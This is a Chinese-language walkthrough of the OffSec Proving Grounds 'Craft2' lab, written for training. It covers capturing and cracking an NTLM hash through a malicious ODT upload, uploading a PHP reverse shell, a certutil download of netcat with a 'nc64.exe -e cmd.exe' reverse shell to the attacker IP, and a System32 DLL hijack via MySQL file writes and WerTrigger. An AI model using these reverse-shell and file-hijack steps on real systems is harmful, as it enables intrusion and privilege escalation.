Proving Grounds Practice : Craft2 Walkthrough
Proving Grounds Practice : Craft2 Walkthrough
Foothole (立足點 ) :
- 網站發現可以上傳 ODT 檔案,利用 python code 產生惡意的 ODT 檔案送出 NetNTLMv2 HASH
- 破解 Hash 後得到一組帳號密碼,該帳號密碼可以寫入 SMB 目錄即為網站的根目錄
- 上傳 Windows Reverse Shell php 檔案後執行成功拿到 interactive shell
PE ( 提權 ) :
- 透過本機的 MySQL 服務與使用 Select 語法發現可以寫入 C:\windows\system32 權限
- 列舉 C:\windows\system32\phoneinfo.dll 是否存在(前提是要有權限可以寫入檔案到該路徑)
- 利用 Weitrigger.exe (Report.wer 要在同路徑) 去執行惡意的 dll 建立 Reverse Shell 回來
注意事項 :
- 學習到 ODT 檔是一種 Office 文件檔案,惡意檔案送出後可以丟出 NetNTLMv2 驗證
- 學習列舉 C:\windows\system32\phoneinfo.dll 是否存在(前提是要有權限可以寫入檔案到該路徑)
- 建立 phoneinfo.dll payload 後需要使用服務帳號去複製到 C:\windows\system32 底下
- 學習使用 MySQL 指令 select load_file 與 into dumpfile 的方式去 COPY 檔案
- 指令範例 select load_file ('C:\\\\xampp\\htdocs\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';
- 利用 Weitrigger.exe (Report.wer 要在同路徑) 去執行惡意的 dll 建立 Reverse Shell 回來
Kali IP : 192.168.45.187
靶機 IP : 192.168.244.188
第一步 Ruststan,└─$ rustscan -a 192.168.244.188 --scripts none --ulimit 5000 | tee rustscan
snmp,└─$ sudo nmap -sU -Pn -p 161 192.168.244.188 | tee snmp,看來沒戲
whatweb 80
得到帳號 admin
郵件地址 admin@craft.offs
是一個 php 語法的網站
80 /
80 /robots.txt 沒有東西
80 / 網頁中間看來可以上傳履歷表
標準作業先上一個 test.txt 檔案試試看,看來有鎖檔案只允許 ODT 檔案
Admin Login 點下去寫正在建置中
gobuster 結果,/assets、/css、/examples、/index.php、/js、/upload.php、/uploads
看到 /uploads 先上傳一個 test.odt 檔案試試看可否看到
/uploads 結果沒看到
逛逛其他路徑看看有無啥發現 /assets
80 /css
80 /js
逛了一圈沒看到可利用的東西,改朝向上傳 ODT 檔案下手
不清楚 ODT 是甚麼東西直接使用 Exploit-DB 查查看
第一個進去看是 [ Malicious ODF File Creator ]
看來應用是上傳 ODT 檔案後會送出驗證,所以叫你起 Responder 來接聽
使用 44564.py 跑了一輪,裝了套件、改了 py 等都沒有成功
看了一下原作的網站沒啥幫助
Google 其他看看有無好用的 ODF 產生器,這名稱好讚直接叫 badodf
改用這個試試看 https://github.com/rmdavy/badodf/blob/master/badodt.py
執行後輸入 Listener IP ,建立了 bad.odt 檔案
接著先啟動 Responder,└─$ sudo responder -I tun0
Responder 看到帳號 CRAFT2\thecybergeek HASH 來驗證了
存成 hash 檔開始 hashcat 破解
獲得一組帳號密碼 thecybergeek:winniethepooh
crackmapexec 測試一下有無權限,看來這組帳號密碼沒有問題但不是管理者
└─$ crackmapexec smb 192.168.244.188 -u thecybergeek -p winniethepooh
enum4linux 帶入帳號密碼看看有沒有甚麼新東西
└─$ enum4linux -a -u "CRAFT2\\thecybergeek" -p "winniethepooh" 192.168.244.188
445 有個 WebAPP 的資料夾
smbclient 進去看看,└─$ smbclient //192.168.244.188/WebApp -U "CRAFT2\\thecybergeek" --password="winniethepooh"
從那幾個檔案來看就是網站的根目錄,馬上測試上傳檔案 test.txt 看看,可以成功上傳
也可以正常讀取到檔案
標準作業建立 php reverse sehll payload,└─$ msfvenom -p php/reverse_php LHOST=192.168.45.187 LPORT=4444 -f raw > rshell.php
上傳 rshell.php
執行後 session 進來了,但是過一段時間會斷,上載 nc64.exe 再建一個回來
certutil -urlcache -f http://192.168.45.187/nc64.exe C:\users\public\nc64.exe
c:\users\public\nc64.exe 192.168.45.187 4445 -e c:\windows\system32\cmd.exe
開始 PE,whoami /priv
裝的是 xampp,查一下有無好用的 phpmyadmin,看來是有
外部瀏覽無法開啟 /phpadmin,先搭建 chisel 對應 80-to-80
iwr -uri http://192.168.45.187/chisel.exe -Outfile chisel.exe
.\chisel.exe client 192.168.45.187:8080 R:8088:locallost:80
對應靶機的 80 Port 到攻擊機的 8088 Port
phpmyadmin 開起來了,發現可以直接執行 SQL 語法
利用新的權限 COPY 一個 nc64.exe 出來,select load_file('C:\\\\users\\apache\\desktop\\nc64.exe') into outfile 'C:\\\\users\\apache\\desktop\\nc642.exe';
icacls 看一下權限,發現兩個權限一樣沒有太大意義
直接 mapping MySQL 3306 Port 到 kali 3306 Port
利用 root 登入測試看看,mysql -h 127.0.0.1 -u root -p
看來不用密碼可以直接進去,就不用 phpmyadmin 的網頁介面直接使用 cmd 介面最快
試試看用 select load_file 指令可不可以直接讀檔案,發現可以直接讀到 flag
可以先輸入了,但是考是當下這樣是不算的,要拿到管理者權限才有用
select load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt');
所以從上面知道 MySQL 服務的權限看來是很大的,實際查看看 MySQL 的權限
指令 : cmd /c sc qc Mysql,確認是用 LocalSystem 的權限啟動的,看來很大沒有錯
接下來要想一下可以用甚麼方是透過 MySQL 的權限去提權
先跑跑看 winPEASx64.exe 看看有發現我們現在的使用者 apache HASH,不過跑了 hashcat 後無法破解
MySQL 執行的檔案 C:\xampp\mysql\bin\mysqld.exe
發現一組密碼 "xxj31ZMTZzkVA",看來應該是 apache 帳號的密碼
使用者帳號還有 apache、administrator
使用了 crackmapexec 測試了該組密碼發現都沒有用
Windows
提權最好用的網站 : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---privileged-file-write
當中的 dll 利用 : https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#usodllloader
接下來利用這個,這是利用 phoneinfo.dll 來建立 reverse shell
靶機上列舉時發現沒有這個 phoneinfo.dll 檔案,所以接下來嘗試利用看看
先行建立 phoneinfo.dll payload
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4446 -f dll -o phoneinfo.dll
依據說明到此網站下載 werTigger.exe & Report.wer
https://github.com/sailay1996/WerTrigger
透過 SMB 傳上去
接著使用 MySQL 的權限將 phoneinfo.dll 移到 C:\Windows\System32 底下
select load_file('C:\\\\xampp\\htdocs\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';
重新 icacls 一下確認檔案放置成功
接著執行 Weitrigger.exe
4446 listen 進來了,whoami
看一下確認提權成功
留言
張貼留言